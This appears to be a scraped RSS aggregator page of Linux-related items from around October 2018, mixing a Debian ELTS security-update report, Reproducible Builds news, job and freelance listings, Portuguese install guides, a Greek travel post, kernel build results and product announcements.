  • I was in charge of our ELTS frontdesk from 10.09.2018 until 16.09.2018 and I triaged CVE in samba, activemq, chromium-browser, curl, dom4j, ghostscript, firefox-esr, elfutils, gitolite, glib2.0, glusterfs, imagemagick, lcms2, lcms, jhead, libpodofo, libtasn1-3, mgetty, opensc, openafs, okular, php5, smarty3, radare, sympa, wireshark, zsh, zziplib and intel-microcode.
  • ELA-35-1. Issued a security update for samba fixing 1 CVE.
  • ELA-36-1. Issued a security update for curl fixing 1 CVE.
  • ELA-37-2. Issued a regression update for openssh.
  • ELA-39-1. Issued a security update for intel-microcode addressing 6 CVE.
  • ELA-42-1. Issued a security update for libapache2-mod-perl2 fixing 1 CVE.
  • ELA-45-1. Issued a security update for dom4j fixing 1 CVE.
  • I started to work on a security update for the Linux kernel which will be released shortly.

Thanks for reading and see you next time.


          Reproducible builds folks: Reproducible Builds: Weekly report #180      Cache   Translate Page      

Here’s what happened in the Reproducible Builds effort between Sunday September 30 and Saturday October 6 2018:

Packages reviewed and fixed, and bugs filed

Test framework development

There were a huge number of updates to our Jenkins-based testing framework that powers tests.reproducible-builds.org by Holger Levsen this month, including:

In addition, Alexander Couzens added a comment regarding OpenWrt/LEDE which was subsequently amended by Holger.

Misc.

This week’s edition was written by Bernhard M. Wiedemann, Chris Lamb, heinrich5991, Holger Levsen, Marek Marczykowski-Górecki, Vagrant Cascadian & reviewed by a bunch of Reproducible Builds folks on IRC & the mailing lists.


          Soft Switch development      Cache   Translate Page      
Asterisk based Soft Switch please Contact me on WhatsApp or call +97333699727 (Budget: $2 - $8 USD, Jobs: Asterisk PBX, Linux, PHP, Software Architecture, VoIP)
          Shifting Moodle to AWS from VPS (CPanel)      Cache   Translate Page      
Hi, I have upload speed issue with Moodle application. Just wanted to shift on AWS ASAP. Thanks (Budget: $8 - $15 AUD, Jobs: Amazon Web Services, Linux, Moodle, MySQL, System Admin)
          IT Collega's - KU Leuven - Leuven      Cache   Translate Page      
KU LEUVEN ZOEKT ENTHOUSIASTE IT COLLEGA'S... ...van Linux tot Windows van SAP tot Java van tablet tot supercomputer van administratiesoftware tot onderwijstechnologie Bij ICTS, de centrale IT-dienst, haal je je IT-hart op aan de meest innovatieve technologieën en complexe uitdagingen. Je komt terecht in een dynamische tak van een stabiele organisatie, KU Leuven. Functie Wij zoeken collega's die: centraal gehoste systemen, applicaties en services ondersteunen en beheren OF...
          Senior Computer Security System Specialist - Attain, LLC - Morgantown, WV      Cache   Translate Page      
Experience in providing security solutions for desktops, laptops, mobile devices (IPHONES , Android, Tablets) and for enterprise servers (Linux, Unix, Windows,...
From Attain, LLC - Wed, 03 Oct 2018 19:41:39 GMT - View all Morgantown, WV jobs
          LHS Episode #250: Amateur Radio Resources Deep Dive      Cache   Translate Page      

Welcome to the 250th episode of Linux in the Ham Shack. On this milestone episode, we return to basics. We spend some time talking about resources for amateur radio on a variety of topics: testing and licensing, community and emergency involvement, elmering, learning, news, information gathering, hardware from parts to rigs to everything in between [...]


          Como instalar a IDE GoLand no Linux sem complicações      Cache   Translate Page      
Como instalar a incrível IDE GoLand no Linux via Snap

Se você desenvolve usando a linguagem Go e quer melhorar sua produtividade, conheça e veja como instalar a incrível IDE GoLand no Linux via Snap.

Leia o restante do texto "Como instalar a incrível IDE GoLand no Linux via Snap"

O post Como instalar a IDE GoLand no Linux sem complicações apareceu primeiro em Blog do Edivaldo.


          Como instalar o navegador baseado em texto Browsh no Linux      Cache   Translate Page      
Como instalar o navegador baseado em texto Browsh no Linux

Se você quer usar um navegador moderno e baseado em linha de comando, conheça e veja como instalar o navegador baseado em texto Browsh no Linux.

Leia o restante do texto "Como instalar o navegador baseado em texto Browsh no Linux"

O post Como instalar o navegador baseado em texto Browsh no Linux apareceu primeiro em Blog do Edivaldo.


          CPU-Z para Linux – instale CPU-G no Ubuntu e saiba mais sobre seu PC      Cache   Translate Page      
CPU-Z para Linux - instale CPU-G no Ubuntu e saiba mais sobre seu PC

Procurando um CPU-Z para Linux para saber mais sobre seu PC? Infelizmente ele não existe. Mas instale CPU-G no Ubuntu e resolva o seu problema.

Leia o restante do texto "CPU-Z para Linux - instale CPU-G no Ubuntu e saiba mais sobre seu PC"

O post CPU-Z para Linux – instale CPU-G no Ubuntu e saiba mais sobre seu PC apareceu primeiro em Blog do Edivaldo.


          Como instalar o baixador de Instagram 4K Stogram no Linux      Cache   Translate Page      
Como instalar o baixador de Instagram 4K Stogram no Linux

Se você quer visualizar e baixar itens do Instagram sem complicações, conheça e veja como instalar o baixador de Instagram 4K Stogram no Linux.

Leia o restante do texto "Como instalar o baixador de Instagram 4K Stogram no Linux"

O post Como instalar o baixador de Instagram 4K Stogram no Linux apareceu primeiro em Blog do Edivaldo.


          Visual Studio Code 1.28 lançado – Confira as novidades e instale      Cache   Translate Page      
Visual Studio Code 1.28 lançado - Confira as novidades e instale

A Microsoft anunciou uma nova versão do seu editor de ccódigo para Linux, o Visual Studio Code 1.28 lançado. Confira as novidades e descubra como instalar.

Leia o restante do texto "Visual Studio Code 1.28 lançado - Confira as novidades e instale"

O post Visual Studio Code 1.28 lançado – Confira as novidades e instale apareceu primeiro em Blog do Edivaldo.


          Como instalar o gerenciador de senhas Password Safe no Linux via Flatpak      Cache   Translate Page      
Como instalar o gerenciador de senhas Password Safe no Linux via Flatpak

Se você quer guardar e administrar suas senhas, conheça e veja como instalar o gerenciador de senhas Password Safe no Linux via Flatpak.

Leia o restante do texto "Como instalar o gerenciador de senhas Password Safe no Linux via Flatpak"

O post Como instalar o gerenciador de senhas Password Safe no Linux via Flatpak apareceu primeiro em Blog do Edivaldo.


          Como instalar e remover um grupo de pacotes no Arch Linux      Cache   Translate Page      
Como instalar e remover um grupo de pacotes no Arch Linux

Se você quer experimentar softwares maiores que possuem várias dependências e depois removê-los sem complicações e trabalho manual, veja como instalar e remover um grupo de pacotes no Arch Linux.

Leia o restante do texto "Como instalar e remover um grupo de pacotes no Arch Linux"

O post Como instalar e remover um grupo de pacotes no Arch Linux apareceu primeiro em Blog do Edivaldo.


          Como compartilhar arquivos no Linux com um único comando      Cache   Translate Page      
Como compartilhar arquivos no Linux com um único comando

Se você acha difícil distribuir arquivos entre um sistema Linux e, por exemplo, um Windows ou macOS, veja como instalar o Serve e usá-lo para compartilhar arquivos no Linux com um único comando.

Leia o restante do texto "Como compartilhar arquivos no Linux com um único comando"

O post Como compartilhar arquivos no Linux com um único comando apareceu primeiro em Blog do Edivaldo.


          Como instalar o aplicativo Password Calculator no Linux via Flatpak      Cache   Translate Page      
Como instalar o aplicativo Password Calculator no Linux via Flatpak

Se você não quer ficar batendo cabeça com senhas, veja como instalar o aplicativo Password Calculator no Linux via Flatpak e descomplique a sua vida.

Leia o restante do texto "Como instalar o aplicativo Password Calculator no Linux via Flatpak"

O post Como instalar o aplicativo Password Calculator no Linux via Flatpak apareceu primeiro em Blog do Edivaldo.


          ΚΑΛΗ ΜΕΡΑ ΕΛΛΑΔΑ - ΚΑΛΗ ΜΕΡΑ ΗΠΕΙΡΟΣ      Cache   Translate Page      
ΚΑΛΗ ΜΕΡΑ ΕΛΛΑΔΑ - ΚΑΛΗ ΜΕΡΑ ΗΠΕΙΡΟΣ

Λευκάδα...

Η Λευκάδα ή Λευκάς είναι νησί του Ιονίου πελάγους και μαζί με τα νησιά ΚέρκυραΚεφαλονιάΙθάκηΖάκυνθος καιΠαξοί αποτελούν την περιφέρεια Ιονίων Νήσων. Είναι το τέταρτο σε έκταση νησί στο Ιόνιο (320 τ.χλμ.) και το τέταρτο σε πληθυσμό με περίπου 25.000 κατοίκους κατά την απογραφή του 2001. Βάσει του σχεδίου Καποδίστριας η Λευκάδα μαζί με τα νησιά ΚάλαμοςΚαστός και Μεγανήσι, (γνωστά και ως Πριγκιποννήσια), αποτελούσε το νομό Λευκάδος με έδρα την πόλη της Λευκάδος. Από το 2011 όμως, οπότε και εισήχθηκε στο πρόγραμμα Καλλικράτης, η Λευκάδα, μαζί με τα προαναφερθέντα νησιά πλην του Μεγανησίου αποτελεί πλέον δήμο με έδρα και πάλι την πόλη της Λευκάδος, ενώ το Μεγανήσι αποτελεί ξεχωριστό δήμο με έδρα το Κατωμέρι.
Λόγω της γεωγραφικής της θέσης (οι ακτές της βρίσκονται πολύ κοντά μ' εκείνες της ηπειρωτικής Ελλάδας τις οποίες τις χωρίζει ο ιστορικός πορθμός του Δρεπάνου) συνδέεται με την Αιτωλοακαρνανία με μια πλωτή γέφυρα μήκους περίπου 20 μέτρων. Μαζί με την Εύβοια είναι τα δυο μοναδικά νησιά στην Ελλάδα στα οποία η πρόσβαση γίνεται οδικώς.Το ψηλότερο βουνό είναι τα Σταυρωτά με απότομες πλαγιές έχει ύψος 1.182μ
Το 1963 ήταν που ο Έλληνας μεγιστάνας Αριστοτέλης Ωνάσης αγόρασε το Σκορπιό, μια μικρή νησίδα που βρίσκεται απέναντι απ' τις ανατολικές ακτές της Λευκάδας και πιο συγκεκριμένα στο κοσμοπολιτικό Νυδρί, το οποίο απέκτησε, έκτοτε, παγκόσμια φήμη, φιλοξενώντας κατά καιρούς πλήθος επισκεπτών αλλά και προσωπικοτήτων απ' όλη την υφήλιο. Μάλιστα, οι κάτοικοι της περιοχής, για να τιμήσουν τον Έλληνα εφοπλιστή, έχτισαν προς τιμήν του ένα άγαλμα, το οποίο κοσμεί την πλατεία του χωριού.



Αποτέλεσμα εικόνας για λευκαδα πολη

Αποτέλεσμα εικόνας για λευκαδα πολη





Αποτέλεσμα εικόνας για λευκαδα









Αποτέλεσμα εικόνας για λευκαδα πολη



Σχετική εικόνα





Σχετική εικόνα

Αποτέλεσμα εικόνας για λευκαδα πολη

22

Σχετική εικόνα







10

20



11

15

21



25

26





31









Σχετική εικόνα



Σχετική εικόνα

Σχετική εικόνα

Αποτέλεσμα εικόνας για λευκαδα πολη

Αποτέλεσμα εικόνας για λευκαδα ξενοδοχεια



Σχετική εικόνα



Σχετική εικόνα

Αποτέλεσμα εικόνας για λευκαδα ξενοδοχεια

Αποτέλεσμα εικόνας για λευκαδα ξενοδοχεια

Σχετική εικόνα

Σχετική εικόνα

Σχετική εικόνα







Αποτέλεσμα εικόνας για λευκαδα παραλιες



Σχετική εικόνα



















Αποτέλεσμα εικόνας για λευκαδα παραλιες

Αποτέλεσμα εικόνας για λευκαδα παραλιες
          Network appliance and ATX board debut AMD’s Epyc Embedded 3000      Cache   Translate Page      

FriendlyElec has launched a $45, Rockchip RK3399 based “NanoPi Neo4” SBC with a 60 x 45mm footprint, WiFi/BT, GbE, USB 3.0, HDMI 2.0, MIPI-CSI, a 40-pin header, and -20 to 70℃ support — but only 1GB of RAM.

In August, FriendlyElec introduced the NanoPi M4, which was then the smallest, most affordable Rockchip RK3399 based SBC yet. The company has now eclipsed the Raspberry Pi style, 85 x 56mm NanoPi M4 on both counts, with a 60 x 45mm size and $45 promotional price ($50 standard). The similarly open-spec, Linux and Android-ready NanoPi Neo4, however, is not likely to beat the M4 on performance, as it ships with only 1GB of DDR3-1866 instead of 2GB or 4GB of LPDDR3.

Read more


          WOO COMMERCE EXPERTS ONLY PLZ .When customer checks out it stalls the website serevely      Cache   Translate Page      
This is the error shown by woo commerce system manager. ### WordPress Environment ### Home URL: https://xtremenutrition.co.za Site URL: https://xtremenutrition.co.za WC Version: 3.4.5 Log Directory Writable:... (Budget: $30 - $250 USD, Jobs: Linux, MySQL, PHP, WooCommerce, WordPress)
          Check Apache, php, .htaccess settings      Cache   Translate Page      
Quick help needed to check Apache, php, .htaccess settings (Budget: $10 USD, Jobs: Apache, Linux, MySQL, PHP, System Admin)
          Re: linux-next: Tree for Oct 9      Cache   Translate Page      
Guenter Roeck writes: (Summary) On Tue, Oct 09, 2018 at 07:02:34PM +1100, Stephen Rothwell wrote: 8813 files changed, 408912 insertions(+), 188393 deletions(-) Build results:
total: 135 pass: 125 fail: 10
Failed builds:
arm:allmodconfig
arm64:defconfig
ia64:defconfig
ia64:allnoconfig
m68k:defconfig
m68k:allmodconfig
mips:allmodconfig
powerpc:ppc6xx_defconfig
riscv:defconfig
s390:allnoconfig
Qemu test results:
total: 318 pass: 287 fail: 31
Failed tests:
arm64:virt:defconfig:smp:mem512:initrd
arm64:virt:defconfig:smp2:mem512:usb-xhci:rootfs
arm64:virt:defconfig:smp4:mem512:usb-uas-xhci:rootfs arm64:virt:defconfig:smp6:mem512:virtio:rootfs
arm64:virt:defconfig:smp8:mem512:virtio-pci:rootfs
arm64:virt:defconfig:smp:mem512:virtio-blk:rootfs
arm64:virt:defconfig:smp2:mem512:nvme:rootfs
arm64:virt:defconfig:smp4:mem512:mmc:rootfs
arm64:virt:defconfig:smp6:mem512:scsi[DC395]:rootfs
          WOO COMMERCE EXPERTS ONLY PLZ .When customer checks out it stalls the website serevely      Cache   Translate Page      
This is the error shown by woo commerce system manager. ### WordPress Environment ### Home URL: https://xtremenutrition.co.za Site URL: https://xtremenutrition.co.za WC Version: 3.4.5 Log Directory Writable:... (Budget: $30 - $250 USD, Jobs: Linux, MySQL, PHP, WooCommerce, WordPress)
          Check Apache, php, .htaccess settings      Cache   Translate Page      
Quick help needed to check Apache, php, .htaccess settings (Budget: $10 USD, Jobs: Apache, Linux, MySQL, PHP, System Admin)
          Data Center Engineer      Cache   Translate Page      
VA-McLean, McLean, Virginia Skills : • Strong sr. data center engineering skills and knowledge of, server racking, cabling and power. • Strong Linux skills for S.E. DCIM application admin support Description : • 5+ years of demonstrated hands on management of the IT components of the data center • 3+ years of relevant experience with data center operations (experience with power / electrical equipment includ
          Application Middlewear Administrator - Veteran Engineering and Technology - Parkersburg, WV      Cache   Translate Page      
Working with multiple operating systems (such as Windows, IBM AIX, and Linux). Veteran Engineering and Technology, VET, founded in 2003, is a full-service...
From Indeed - Fri, 28 Sep 2018 17:18:26 GMT - View all Parkersburg, WV jobs
          Message Queing Administrator - Veteran Engineering and Technology - Parkersburg, WV      Cache   Translate Page      
Working with multiple operating systems (such as Windows, IBM AIX, and Linux). Veteran Engineering and Technology, VET, founded in 2003, is a full-service...
From Indeed - Fri, 28 Sep 2018 16:59:05 GMT - View all Parkersburg, WV jobs
          Web Server Administrator - Veteran Engineering and Technology - Parkersburg, WV      Cache   Translate Page      
Working with multiple operating systems (such as Windows, IBM AIX, and Linux). Veteran Engineering and Technology, VET, founded in 2003, is a full-service...
From Indeed - Fri, 28 Sep 2018 16:54:57 GMT - View all Parkersburg, WV jobs
          Advisory Application Specialist - Control M - Church Mutual Insurance Company - Merrill, WI      Cache   Translate Page      
Knowledge of Linux, IBM iSeries, AIX, and Microsoft Server platforms. This position is responsible for administration and production control of enterprise...
From Church Mutual Insurance Company - Thu, 06 Sep 2018 06:32:22 GMT - View all Merrill, WI jobs
          AIX Admin - Cognizant - Menomonee Falls, WI      Cache   Translate Page      
Cognizant is hiring for &quot; AIX Admin”. OS Patching – IBM AIX and Red-HAT LINUX. Good understanding about IBM AIX and Red-HAT LINUX architectures....
From Cognizant - Mon, 08 Oct 2018 23:18:56 GMT - View all Menomonee Falls, WI jobs
          UNIX Systems Engineer - Epic Careers - Madison, WI      Cache   Translate Page      
AIX, HP-UX, Solaris 10 or 11, Linux (RHEL, CentOS, Ubuntu). Comfortable administering virtualized environments with VMware vSphere VMs, AIX PowerVM LPARs,...
From Epic Careers - Thu, 28 Jun 2018 18:55:10 GMT - View all Madison, WI jobs
          Middleware Administrator - MQ/Mule - Northwestern Mutual Life Insurance Company - Milwaukee, WI      Cache   Translate Page      
Excellent knowledge of supporting software on Red Hat Linux or AIX. At Northwestern Mutual, we believe relationships are built on trust....
From Northwestern Mutual - Fri, 28 Sep 2018 22:10:40 GMT - View all Milwaukee, WI jobs
          Senior WebSphere Administrator - Northwestern Mutual Life Insurance Company - Milwaukee, WI      Cache   Translate Page      
Excellent knowledge of supporting software on Red Hat Linux or AIX. At Northwestern Mutual, we believe relationships are built on trust....
From Northwestern Mutual - Wed, 19 Sep 2018 22:05:56 GMT - View all Milwaukee, WI jobs
          Websphere Administrator - CITRATEK - Milwaukee, WI      Cache   Translate Page      
Excellent knowledge of supporting software on Red Hat Linux or AIX. Looking for *System Administrator /Websphere Administrator who is local and willing to work...
From Indeed - Wed, 26 Sep 2018 14:27:54 GMT - View all Milwaukee, WI jobs
          WebSphere Admin - Cognizant - Milwaukee, WI      Cache   Translate Page      
Excellent knowledge of supporting software on Red Hat Linux or AIX Strong understanding of networking and security concepts....
From Cognizant - Tue, 11 Sep 2018 17:19:21 GMT - View all Milwaukee, WI jobs
          Senior Software Engineer - PKWARE, Inc. - Milwaukee, WI      Cache   Translate Page      
Write code across multiple platforms including Windows, MacOS, Linux, Solaris, AIX, HP-UX, iOS and Android. We are looking for a talented software engineer to...
From PKWARE, Inc. - Mon, 11 Jun 2018 23:45:23 GMT - View all Milwaukee, WI jobs
          Senior Websphere Administrator - Softura - Franklin, WI      Cache   Translate Page      
Supporting software on Red Hat Linux or AIX:. Excellent knowledge of supporting software on Red Hat Linux or AIX....
From Indeed - Tue, 11 Sep 2018 15:16:33 GMT - View all Franklin, WI jobs
          MES System Administration Engineer - Senior - Foxconn - Mt Pleasant, WI      Cache   Translate Page      
Familiar with Unix, Linux, IBM AIX, SAN/NAS storage. MES System Administration Engineer (Senior)....
From Foxconn - Wed, 05 Sep 2018 18:33:03 GMT - View all Mt Pleasant, WI jobs
          Asterisk PBX Soft switch development      Cache   Translate Page      
Hi Dear Sir How Are You. Dear Sir I want to develop a soft switch from Asterisk PBX. Please Contact me and Give me your contact number Thanks Muhammad Sumon +973 33699727 (Budget: $2 - $8 USD, Jobs: Asterisk PBX, Linux, PHP, VoIP, Website Design)
          Asterisk Setup Check       Cache   Translate Page      
Asterisk on Ubuntu Server w/ 2 inbound DID’s seems to work, but in puns calls are rejected because of bad settings in sip.conf and/or extension.conf. It’s probably a 5 minute job if you know what you’re doing... (Budget: $10 - $30 USD, Jobs: Asterisk PBX, Linux, Ubuntu)
          Google Pixel Slate is a new Chrome OS tablet with 12.3-inch 3000x2000 display      Cache   Translate Page      

In addition to the Home Hub and new Pixel 3 phones, Google today introduced an all-new Chrome OS tablet called the Pixel Slate.

The Google Pixel Slate runs Chrome OS on a 12.3-inch 3000x2000 LCD screen that supports the Google Pixelbook Pen stylus, which sells separately for $99. Inside the Pixel Slate's 7mm-thick body is an Intel processor. There are actually a few different versions of the Pixel Slate available, each with a different Intel chipset: an Intel Celeron processor, an 8th Gen Intel Core m3, an 8th Gen Intel Core i5, or an 8th Gen Intel Core i7.

Google Pixel Slate official

There are different RAM and storage options available, too, ranging from 4GB up to 16GB of RAM and between 32GB and 256GB of solid state storage. One thing that doesn't change between models are the cameras, which include 8MP front and rear sensors. Google touts that the front-facing 8MP camera has an extra wide field of view and good low light performance for video calling.

There are two USB-C ports on the Pixel Slate for charging, 4K display output, and fast data transfer, as well an an accessory connector for the optional Pixel Slate Keyboard, which is sold separately for $199 and offers a full-size backlit keyboard, a dedicated Google Assistant key, and three different modes: laptop, tablet, and entertainment.

Google Pixel Slate keyboard

Rounding out the Pixel Slate's hardware features is a 48Wh battery that Google says will last for 12 hours with mixed usage, a power button that doubles as a fingerprint reader, and dual front-firing speakers.

On the software side, the Pixel Slate runs Chrome OS along with a full desktop version of Chrome. There's support for Android apps through Google Play, and if you're interested, Google says you can even run Linux on the Pixel Slate if you're a developer.

Google Pixel Slate stylus

There are several variants of the Pixel Slate available. The Intel Celeron model starts at $599 with 4GB of RAM and 32GB of built-in storage, while the Intel Core m3 version comes with 8GB of RAM and 64GB of storage for $799. The Intel Core i5 model comes with 8GB of RAM and 128GB of storage for $999, and the top-end variant with an Intel Core i7 processor, 16GB of RAM, and 256GB of storage will set buyers back $1,599.

Google says that the Pixel Slate will launch later this year.

FF1yy67BSp0

          Administrateur Système Linux - EXPERTUS TECHNOLOGIES INC - Montréal, QC      Cache   Translate Page      
Très bon niveau de scripting ksh et perl. Expertus développe et propose des solutions innovantes dans le milieu de la messagerie financière pour les...
From Indeed - Mon, 01 Oct 2018 14:41:28 GMT - View all Montréal, QC jobs
          Spécialiste en exploitation de systèmes Linux 3112904 - Morgan Stanley - Montréal, QC      Cache   Translate Page      
Doit avoir une solide connaissance et une excellente expérience de Linux, préférablement Red Hat ou d’autres distributions de Linux.-Solide connaissance et...
From Morgan Stanley - Sun, 16 Sep 2018 09:21:11 GMT - View all Montréal, QC jobs
          Linux Operations Specialist 3112904 - Morgan Stanley - Montréal, QC      Cache   Translate Page      
Must have strong knowledge and experience with Linux, preferably Redhat, and/or any other Linux distributions.-Strong knowledge and experience of various...
From Morgan Stanley - Sun, 16 Sep 2018 09:20:39 GMT - View all Montréal, QC jobs
          Latex and shell scripting small question      Cache   Translate Page      
read word file simple question and answering in shell scripting (Budget: $10 - $30 AUD, Jobs: Bash Scripting, LaTeX, Linux, Shell Script, UNIX)
          Asterisk PBX Soft switch development      Cache   Translate Page      
Hi Dear Sir How Are You. Dear Sir I want to develop a soft switch from Asterisk PBX. Please Contact me and Give me your contact number Thanks [Removed by Freelancer.com Admin - please see Section 13... (Budget: $2 - $8 USD, Jobs: Asterisk PBX, Linux, PHP, VoIP, Website Design)
          Linux mint systemd-resolve cached CNAME maar geen A      Cache   Translate Page      
Replies: 3 Last poster: mithras at 09-10-2018 23:39 Topic is Open Werkt deze oplossing ook voor jou? mDNS functioneert niet op LAN domainname Dat lag bij mij ook aan systemd-resolve en de stub file.
          Planning Analyst - Leidos - Cheyenne, WY      Cache   Translate Page      
Linux / WebLogic / Oracle SQL / JAVA experience. In-depth knowledge of USSTRATCOM end-to-end nuclear planning processes, systems and enterprise database...
From Leidos - Fri, 21 Sep 2018 19:05:31 GMT - View all Cheyenne, WY jobs
          Linux System Administrator - Resolvit, LLC - Madison, WI      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. At Resolvit, you’ll be given the support you need to...
From Resolvit, LLC - Mon, 27 Aug 2018 23:22:32 GMT - View all Madison, WI jobs
          Linux Security Engineer - Resolvit, LLC - Richmond, VA      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. Join Resolvit as an Identity Management Engineer and...
From Resolvit, LLC - Sun, 30 Sep 2018 17:23:36 GMT - View all Richmond, VA jobs
          Linux Security Engineer - Resolvit, LLC - Virginia      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. At Resolvit, you’ll be given the support you need to...
From Resolvit, LLC - Sun, 30 Sep 2018 17:22:38 GMT - View all Virginia jobs
          today's howtos      Cache   Translate Page      

          Re: FydeOS is a Chrome OS fork aimed at China, and it brings Android app support      Cache   Translate Page      

this is can run linux apps?


          The Linux Backdoor Attempt of 2003      Cache   Translate Page      
Comments
          No /proc/diskstats Does Not Track **Your** Physical I/O Requests      Cache   Translate Page      
You have applications that scan disk using large sequential reads so you take a peek at /proc/diskstats (field #4 on modern Linux distributions) before and after your test in order to tally up the number of reads your application performed. That’s ok. That’s also a good way to get erroneous data. Your application makes calls […]
          IBM Domino V10 and Notes V10 announced ! Welcome back Domino ! #dominoforever      Cache   Translate Page      
Today IBM during a nice launch event has announced IBM Domino V10 and Notes V10 that will be available for download during next hours! The replay of the event is available here.

This are the first part number available to prepare for your downloads ;-)

Domino V10.0

  • CNW1XEN    IBM Domino 10.0 64 bit for Windows English
  • CNW1YEN    IBM Domino 10.0 64 bit for AIX English
  • CNW1ZEN    IBM Domino 10.0 64 bit for Linux English

Notes V10.0

  • CNW1REN    IBM Notes 10.0 Basic Configuration for Windows English
  • CNW1SEN    IBM Notes 10.0 for Windows English
  • CNW1WEN    IBM Notes, Domino Designer and Admin Client 10.0 for Windows English


IBM has also launched a huge marking campain for licenses so if you need to renew your license or you need to buy some more , please visit the following link and you will not be disapponted !


                           https://www.ibm.com/collaboration/ibm-domino/buy-v10




Today was announce also IBM Domino Mobile Apps (Notes on iPad ) that should be available at the end of October and Domino App Dev pack ( NodeJS inhtegration ) that should be available in early access beta very soon.



Last useful link the knowledge center link with the technical documentation

            
       WELCOME BACK DOMINO ! #DOMINOFOREVER
          Software Developer - Aqua Finance, Inc. - Wausau, WI      Cache   Translate Page      
Must be experienced/certified in SLES (Suse Linux Enterprise Server), Novell OES, VMWare, Windows 7 Operating Systems, Groupwise 2012 Email Software and...
From Aqua Finance, Inc. - Sat, 04 Aug 2018 00:20:17 GMT - View all Wausau, WI jobs
          Mid-Level Cybersecurity Specialist - Assessment and Authorization A&A/RMF - General Dynamics Information Technology - Arlington, VA      Cache   Translate Page      
MCSE Server 2012, MCSA Server 2012, MCSE Productivity, Linux+, RHCSA, RHCE, RHCSS, LPIC-1, LPIC-2, Novell Certified Linux Engineer, Oracle Solaris System...
From General Dynamics Information Technology - Tue, 14 Aug 2018 19:41:49 GMT - View all Arlington, VA jobs
          Odp: Jaki Linux wybrać - aby mieć dostęp do największej liczby poradników wideo.      Cache   Translate Page      
W artukule jest
Cytuj
Założenia licencji nie zmuszają go do ujawniania tego, co konkretnie robi z kompilatorem, jakich ustawień i flag używa podczas kompilacji.
...
          Odp: Jaki Linux wybrać - aby mieć dostęp do największej liczby poradników wideo.      Cache   Translate Page      
Cytuj
b) nie ma żadnych niezależnych benchmarków potwierdzających zajebistość tego kernela.
Jeden artykul znalazlem.
https://www.dobreprogramy.pl/Cala-prawda-o-kernelach-eXt73-sprawdzamy-co-moze-dac-platna-optymalizacja-Kubuntu,News,59826.html...
          Odp: Jaki Linux wybrać - aby mieć dostęp do największej liczby poradników wideo.      Cache   Translate Page      
Nie wiem o co Ci chodzi ?

Chodzi mi o pierdylion razy powtórzoną na żywca przeklejoną całą formułke z linkiem do tego dziwnego kernela, czyli podręcznikowe pozy...
          Odp: Jaki Linux wybrać - aby mieć dostęp do największej liczby poradników wideo.      Cache   Translate Page      
Lekkie OT, ale o kernelu, skoro padł był tutaj i leży jak długi.

Dystrybucje tworzą niekiedy własne kernele z jakichś swoich potrzeb. Np. tam gdzie jest AppArmor (Ubuntu) musi to być wgrane, tam gdzie jest SELinux (lub podobne - Fedora) również. Niektó...
          Odp: Jaki Linux wybrać - aby mieć dostęp do największej liczby poradników wideo.      Cache   Translate Page      
whitewolf1608
Poczytalbys najpierw o tym co podajesz sam.
https://www.netext73.pl/2014/02/zanim-zainstalujesz.html
Cytuj
...
program NeteXt'73, przeznaczone są jedynie dla 64 bitowych wersji wskazanych poniżej systemów.
...
NeteXt'73 oraz moje...

          Técnico de sistemas - Disjob - Palma de Mallorca, Illes Balears provincia      Cache   Translate Page      
Técnicos de sistemas Linux con Redhat y experiencia con Active directory, ticketing, Remedy. CATEGORIA Ingenieros y técnicos DEPARTAMENTO IT NIVEL...
De Disjob - Fri, 14 Sep 2018 14:00:22 GMT - Ver todo: empleo en Palma de Mallorca, Illes Balears provincia
          Computer Engineer - Parsons - Columbia, MD      Cache   Translate Page      
Are you a software developer with experience in embedded Linux development looking to improve and enhance mission-critical software applications? Do you want...
From Parsons - Fri, 21 Sep 2018 07:27:34 GMT - View all Columbia, MD jobs
          Full Stack Software Engineer - Parsons - Columbia, MD      Cache   Translate Page      
Parsons Cyber Operations is seeking Software Engineers with experience in Python, JavaScript, and Linux systems to join our team of exceptional individuals....
From Parsons - Fri, 21 Sep 2018 07:27:23 GMT - View all Columbia, MD jobs
          VMware Fusion Pro 11.0.0 Mac 注册版 – Mac上优秀的虚拟机之一      Cache   Translate Page      
VMware Fusion Pro 将 Mac® 上的虚拟化提升到更高的级别,它拥有强大的功能特性,专业技术人员无需重新启动即可在 Mac 上运行 Windows® 应用。利用针对类似 Windows 10 这样的最新现代操作系统的额外支持,高级用户、开发人员、QA 和 IT 管理员每天都依赖 Fusion Pro 实现高性能、高可用性和领先的功能特性,从而支持在 Mac 上运行 Windows 和 Linux。
          6 Commands To Shutdown And Reboot The Linux System From Terminal      Cache   Translate Page      

2DayGeek: This tutorial helps you to shutdown and reboot the Linux machine in many ways.


          遠端桌面連線程式 TeamViewer中文版下載點      Cache   Translate Page      
TeamViewer是一套遠端桌面遙控軟體,支援 Microsoft Windows、Mac OS X、Linux、iOS、Android 等作業系統,也能使用網頁瀏覽器連線至已經安裝 TeamViewer 的電腦,使用此軟體能輕易的穿透防火牆,減少各種技術上的困難點。

          Java/Linux Developer - CNH Industrial - Saskatoon, SK      Cache   Translate Page      
Each of its brands, including Case IH, New Holland Agriculture, Case and New Holland Construction, FPT Industrial, Capital, and Parts &amp; Service, is a major...
From CNH Industrial - Wed, 08 Aug 2018 23:25:00 GMT - View all Saskatoon, SK jobs
          Unreal Engine 4.21 Preview Brings Some Linux Improvements      Cache   Translate Page      
Epic Games announced the debut today of the Unreal Engine 4.21 public preview...
          AMDGPU Developer Proposes Array Register Files For LLVM - Would Help Performance      Cache   Translate Page      
One of the areas within the open-source AMD Linux graphics driver stack that could benefit from some additional improvements/optimizations is the AMDGPU LLVM compiler back-end. One of the easy ways to see that the AMDGPU LLVM code could be improved upon are the Vulkan benchmarks when compared to AMD's proprietary compiler and there still being some significant wins with that more mature but closed-source shader compilation code. Fortunately, some improvements may be on the way...
          "Thermal Pressure" Kernel Feature Would Help Linux Performance When Running Hot      Cache   Translate Page      
Linaro engineer Thara Gopinath sent out an experimental set of kernel patches today that introduces the concept of "thermal pressure" to the Linux kernel for helping assist Linux performance when the processor cores are running hot...
          Linux System Administrator - Resolvit, LLC - Madison, WI      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. At Resolvit, you’ll be given the support you need to...
From Resolvit, LLC - Mon, 27 Aug 2018 23:22:32 GMT - View all Madison, WI jobs
          Linux Security Engineer - Resolvit, LLC - Richmond, VA      Cache   Translate Page      
